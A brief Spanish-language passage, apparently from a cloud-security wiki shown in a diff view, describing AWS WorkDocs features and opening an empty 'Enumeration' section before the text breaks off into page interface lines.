AWS WorkDocs proporciona una interfaz basada en la web para que los usuarios suban, accedan y gestionen sus archivos y documentos. También ofrece características como control de versiones, colaboración en tiempo real e integración con otros servicios de AWS y herramientas de terceros.
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user